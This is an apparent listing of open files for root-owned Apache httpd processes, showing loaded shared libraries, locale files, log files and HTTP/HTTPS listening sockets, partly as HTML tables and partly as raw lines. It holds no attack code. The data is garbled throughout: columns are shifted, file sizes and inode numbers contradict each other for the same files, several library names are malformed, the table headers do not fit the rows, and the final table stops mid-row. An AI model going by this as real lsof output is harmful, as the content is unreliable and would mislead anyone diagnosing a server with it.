<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Flags</th>
<th>Type</th>
<th>Size</th>
<th>Pathname</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>161</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>58</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>292</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>131560</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libz.so.1.1.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>146819</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libcurl.so.2.0.2.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28138</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libltdl.so.3.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40644</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libstdc++-3-libc6.2-2.10.0.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19371</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libbz2.so.1.0.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>189626</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>290511</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libncurses.so.5.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>215482</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libgmp.so.3.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libxml2.so.2.4.19</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66646</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libb2.so.1.0.1.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>189626</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libbsdso.6.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>140418</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/kerberos/lib/libk5crypto.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>42069</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/php4/ldap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>44992</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libber.so.2.0.15</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>45415</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2457</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>60</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1264225</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/apache/libperl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>191615</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libldap.so.2.0.15</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>48583</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libas1.so.7.1.8</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>46117</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/libnss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1401027</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/lib/lib686/libc-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>0w</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>2w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>16w</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP :https (LISTEN)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/lib/nss_files-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>17w</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP :http (LISTEN)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/lib/nss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3,6</td>
<td>265</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/apache/mod_vhost_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/apache/mod_env.so</td>
</tr>
</tbody>
</table>
httpd 19372 root mem REG 3,2 17638 229514 /usr/lib/apache/mod_log_config.so
httpd 19372 root mem REG 3,2 7438 229513 /usr/lib/apache/mod_log_agent.so
httpd 19372 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 19372 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 19372 root mem REG 3,2 171 130311 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
httpd 19372 root mem REG 3,5 101902 73734 /lib/i686/libpthread.so.0.9.6b
httpd 19372 root mem REG 3,5 173359 73732 /lib/libxml2.so.2.7.2
httpd 19372 root mem REG 3,2 23575 63501 /lib/libcrypto.so.0.9.6b
httpd 19372 root mem REG 3,2 30282 65273 /usr/lib/apache/mod_negotiation.so
httpd 19372 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 19372 root mem REG 3,2 147351 65380 /usr/lib/libexpat.so.0.1.0
httpd 19372 root mem REG 3,2 146819 66089 /usr/lib/apache/mod_setenvif.so
httpd 19372 root mem REG 3,5 92407 440046 /usr/lib/libpspell.so.2.0.0
httpd 19372 root mem REG 3,2 8486 229509 /usr/lib/apache/mod_userdir.so
httpd 19372 root mem REG 3,2 17638 229505 /usr/lib/apache/mod_dir.so
httpd 19372 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 19372 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 19372 root mem REG 3,2 58 179360 /lib/libz.so.1.1.3
httpd 19372 root mem REG 3,2 22592 /usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 19372 root mem REG 3,2 28138 66033 /usr/lib/libltdl.so.3.1.0
httpd 19372 root mem REG 3,2 141735 65380 /usr/lib/libexpat.so.0.1.0
httpd 19372 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 19372 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 19372 root mem REG 3,5 89424 63501 /lib/libpspell.so.2.0.0
httpd 19372 root mem REG 3,2 19662 66292 /usr/lib/libxml2.so.2.7.2
httpd 19372 root mem REG 3,2 120102 63503 /lib/libdl-2.2.5.so
httpd 19372 root mem REG 3,2 58778 229503 /usr/lib/apache/mod_auth_anon.so
httpd 19372 root mem REG 3,2 292 130312 /usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 19372 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19372 root mem REG 3,2 29 130311 /usr/lib/locale/en_US.iso885915/LC_NAME
httpd 19372 root mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
httpd 19372 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 19372 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 19372 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 19372 root mem REG 3,2 35886 229511 /usr/lib/apache/mod_include.so
httpd 19372 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 19372 root mem REG 3,3 9034 229499 /usr/lib/libpspell.so.2.0.0
httpd 19372 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 19372 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 19372 root mem REG 3,2 10176 229493 /usr/lib/apache/mod_auth_db.so
httpd 19372 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 19372 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 19372 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19372 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 19372 root mem REG 3,2 28138 66033 /usr/lib/libltdl.so.3.1.0
httpd 19372 root mem REG 3,2 9000 229508 /usr/lib/apache/mod_expires.so
httpd 19372 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19372 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19372 root mem REG 3,2 92407 440046 /usr/lib/libpspell.so.2.0.0
httpd 19372 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 19372 root mem REG 3,2 19662 66292 /usr/lib/libxml2.so.2.7.2
httpd 19372 root mem REG 3,2 9304 229499 /usr/lib/libpspell.so.2.0.0
httpd 19372 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 19372 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 19372 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 19372 root mem REG 3,2 83 130316 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
httpd 19372 root mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 19372 root mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 19372 root mem REG 3,2 83 130314 /usr/lib/locale/en_US.iso885915/LC_NAME
httpd 19372 root mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 19372 root mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
httpd 19372 root mem REG 3,2 120102 63503 /lib/libssl.so.0.9.6b
httpd 19372 root mem REG 3,2 58778 229503 /usr/lib/apache/mod_auth_anon.so
httpd 19372 root mem REG 3,2 292 130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 19372 root mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 19372 root mem REG 3,2 59778 130315 /usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 19372 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 19372 root mem REG 3,2 146819 66089 /usr/lib/libcurl.so.0.9.6b
httpd 19372 root mem REG 3,2 924879 63562 /lib/libcrypto.so.0.9.6b
httpd 19372 root mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Group</th>
<th>Mode</th>
<th>Size</th>
<th>Address</th>
<th>Flags</th>
<th>Type</th>
<th>Size</th>
<th>Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10034</td>
<td>229493</td>
<td>/usr/lib/apache/mod_access.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
<td>229497</td>
<td>/usr/lib/apache/mod_auth.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
<td>229498</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
<td>229503</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>229504</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>229505</td>
<td>/usr/lib/apache/mod_headers.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>229521</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9240</td>
<td>744046</td>
<td>/usr/kerberos/lib/libgssapi_krb5.so.2.2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11174</td>
<td>63541</td>
<td>/lib/libutil-2.2.5.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td>229529</td>
<td>/usr/lib/apache/libdav.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
<td>229531</td>
<td>/usr/lib/apache/libssl.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1453198</td>
<td>425001</td>
<td>/usr/lib/php4/imap.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8621</td>
<td>440043</td>
<td>/usr/kerberos/lib/libcom_err.so.3.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
<td>114263</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>29</td>
<td>130312</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
<td>130316</td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>161</td>
<td>130319</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
<td>130314</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>292</td>
<td>130313</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>58</td>
<td>179360</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
<td>130323</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>131560</td>
<td>65396</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
<td>65358</td>
<td>/usr/lib/libbz2.so.1.0.2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>146818</td>
<td>65390</td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>235026</td>
<td>66042</td>
<td>/usr/lib/libdav.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>924879</td>
<td>63567</td>
<td>/usr/lib/libldap.so.2.0.15</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
<td>66042</td>
<td>/usr/lib/libpspell-modules.so.1.0.1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
<td>229551</td>
<td>/usr/lib/apache/libphp4.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35340</td>
<td>63567</td>
<td>/usr/lib/libpam.so.0.75</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28138</td>
<td>66039</td>
<td>/usr/lib/libperl.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>142338</td>
<td>65349</td>
<td>/usr/lib/libstdc++-3-libc6.2-2.10.0.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>196866</td>
<td>66287</td>
<td>/usr/lib/libgd.so.1.8.4</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>146819</td>
<td>65345</td>
<td>/usr/lib/libxml2.so.2.4.19</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>295011</td>
<td>65311</td>
<td>/usr/lib/libcurl.so.7.0.4</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>215482</td>
<td>65338</td>
<td>/usr/lib/libcrypto.so.0.9.6b</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>196866</td>
<td>66287</td>
<td>/usr/lib/libldap.so.1.8.4</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>191615</td>
<td>65351</td>
<td>/usr/lib/libdbd.so.0.2.0.15</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>45415</td>
<td>65323</td>
<td>/usr/lib/libpspell.so.4.0.3</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>290511</td>
<td>65311</td>
<td>/usr/lib/libcurl.so.7.0.4</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725</td>
<td>440048</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
<td>65358</td>
<td>/usr/lib/libbz2.so.1.0.2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>146819</td>
<td>66089</td>
<td>/usr/lib/libcurses.so.5.2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>924879</td>
<td>65362</td>
<td>/usr/lib/libcrypto.so.0.9.6b</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>207008</td>
<td>65363</td>
<td>/usr/lib/libssl.so.0.9.6b</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>68925</td>
<td>65353</td>
<td>/usr/lib/libdbd.so.0.2.0.15</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
<td>66042</td>
<td>/usr/lib/libpspell.so.4.0.3</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>295011</td>
<td>65311</td>
<td>/usr/lib/libcurses.so.5.2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>215482</td>
<td>65386</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>196866</td>
<td>66287</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>191615</td>
<td>65351</td>
<td>/usr/lib/libdbd.so.0.2.0.15</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>45415</td>
<td>65323</td>
